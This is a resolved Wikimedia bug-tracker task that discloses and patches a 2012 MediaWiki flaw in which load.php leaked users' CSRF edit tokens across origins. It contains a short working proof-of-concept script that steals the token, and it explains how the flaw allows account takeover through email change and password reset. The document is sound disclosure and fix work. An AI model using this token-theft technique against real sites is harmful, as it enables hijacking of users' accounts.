CSRF token-stealing attack (user.tokens)
Closed, ResolvedPublic

Assigned To
None
Priority
Normal
Author
brion
Blocks
Restricted Task
Subscribers
brion, Krinkle, MarkAHershberger and 4 others
Projects
Reference
bz34907
Description

It's possible to load the user.tokens module remotely, stealing the contents of the tokens used for CSRF protection:

<script>
mw = {

loader: {
  implement: function(name, func) {
    var $ = {};
    func($);
  }
},
user: {
  tokens: {
    set: function(hashmap) {
      var token = hashmap.editToken;
      alert("your https://en.wikipedia.org session's edit token is " + token);
    }
  }
}

};
</script>
<script src="https://en.wikipedia.org/w/load.php?modules=user.tokens"></script>

This module, and any others that expose private data, should probably not be allowed to be requested via load.php...


Version: unspecified
Severity: normal

bzimport added a subscriber: wikibugs-l.
bzimport set Reference to bz34907.
brion created this task.Via LegacyMar 2 2012, 9:38 PM
Catrope added a comment.Via ConduitMar 7 2012, 8:07 PM

Created attachment 10192
Proposed patch

The attached patch fixes this issue. It does several things:

  1. Filter out private modules early in ResourceLoader::makeResponse() and just pretend they weren't specified. This means these modules cannot be loaded through load.php . This filtering must not happen in makeModuleResponse(), because that would break inlining.
  2. Force inlining of private modules in OutputPage::makeResourceLoaderLink(), disregarding $wgResourceLoaderInlinePrivateModules
  3. Remove $wgResourceLoaderInlinePrivateModules
  4. Remove special treatment of private modules ($private) in ResourceLoader::makeResponse() and sendResponseHeaders(), because we're not allowing private modules to be loaded through here any more
  5. Remove identity checks in ResourceLoaderUserOptionsModule and ResourceLoaderUserCSSPrefsModule, they didn't make a lot of sense before but they're certainly useless now.

4 and 5 could be done in a separate commit.

attachment bug34907.patch ignored as obsolete

Catrope added a comment.Via ConduitMar 7 2012, 8:08 PM

Forgot to mention: I would like for Brion (as the reporter), Tim (as the other security person) and Timo and/or Trevor (as the other ResourceLoader people) to review this patch. Looks like they're all on CC except Tim, adding him.

brion added a comment.Via ConduitMar 7 2012, 8:25 PM

Sounds like this should work from looking it over (untested)

tstarling added a comment.Via ConduitMar 8 2012, 2:08 AM

Created attachment 10196
Patch v2

My changes were:

  • Updated a comment on line 505 of ResourceLoader.php
  • Added an informative error message to the output when a private module is requested via load.php, instead of just pretending it wasn't requested
  • Factored out error comment construction in ResourceLoader.php and stripped comment terminations from exception messages. I didn't find an XSS vulnerability but it looked scary.

Attached: bug-34907-v2.patch

Catrope added a comment.Via ConduitMar 9 2012, 6:16 PM

(In reply to comment #4)

Created attachment 10196 [details]
Patch v2

My changes were:

  • Updated a comment on line 505 of ResourceLoader.php
  • Added an informative error message to the output when a private module is requested via load.php, instead of just pretending it wasn't requested
  • Factored out error comment construction in ResourceLoader.php and stripped comment terminations from exception messages. I didn't find an XSS vulnerability but it looked scary.

Looks good to me.

Attached: bug-34907-v2.patch

Krinkle added a comment.Via ConduitMar 15 2012, 6:24 AM

If a private module is requested via load.php, ResourceLoader should (aside from the comment) also respond by setting the state to 'error'. Otherwise pending callbacks may indefinitely stalled.

e.g. mw.loader.using('user.options', ok, err). If for some reason the embedded module screwed up, and load.php is requested with the batch, the server should respond to that module with mw.loader.setState('user.options', 'error') , just like it set state 'missing' if somone requests an invalid module.

(bug 35240 is also related; which is needed to actually make the loader call err() when the state is set to 'error' from load.php, but that's another story)

tstarling added a comment.Via ConduitMar 21 2012, 9:37 AM

Created attachment 10297
Patch against 1.17

Attached: bug34907-1.17.patch

tstarling added a comment.Via ConduitMar 21 2012, 9:48 AM

Created attachment 10298
Patch against 1.18

Attached: bug34907-1.18.patch

tstarling added a comment.Via ConduitMar 21 2012, 10:03 AM

The patch against trunk applies cleanly against 1.19 (except RELEASE-NOTES).

I'm not sure if the patch against 1.17 is needed, since there is no user.tokens module in that version. However there are other private modules which should probably stay private.

Suggested commit message:

(bug 34907) Fix for CSRF vulnerability due to mw.user.tokens. Patch by Roan Kattouw and Tim Starling.

  • Filter out private modules early in ResourceLoader::makeResponse() and just pretend they weren't specified. This means these modules cannot be loaded through load.php . This filtering must not happen in makeModuleResponse(), because that would break inlining.
  • Force inlining of private modules in OutputPage::makeResourceLoaderLink(), disregarding $wgResourceLoaderInlinePrivateModules
  • Remove $wgResourceLoaderInlinePrivateModules
  • Remove special treatment of private modules ($private) in ResourceLoader::makeResponse() and sendResponseHeaders(), because we're not allowing private modules to be loaded through here any more
  • Remove identity checks in ResourceLoaderUserOptionsModule and ResourceLoaderUserCSSPrefsModule, they didn't make a lot of sense before but they're certainly useless now.
  • Factored out error comment construction in ResourceLoader.php and stripped comment terminations from exception messages. I didn't find an XSS vulnerability but it looked scary.

Suggested release announcement mail text:

It was discovered that the resource loader can leak certain kinds of private data across domain origin boundaries, by providing the data as an executable JavaScript file. In MediaWiki 1.18 and later, this includes the leaking of CSRF protection tokens. This allows compromise of the wiki's user accounts, say by changing the user's email address and then requesting a password reset.

Add Comment

Column Prototype
This is a very early prototype of a persistent column. It is not expected to work yet, and leaving it open will activate other new features which will break things. Press "\" (backslash) on your keyboard to close it now.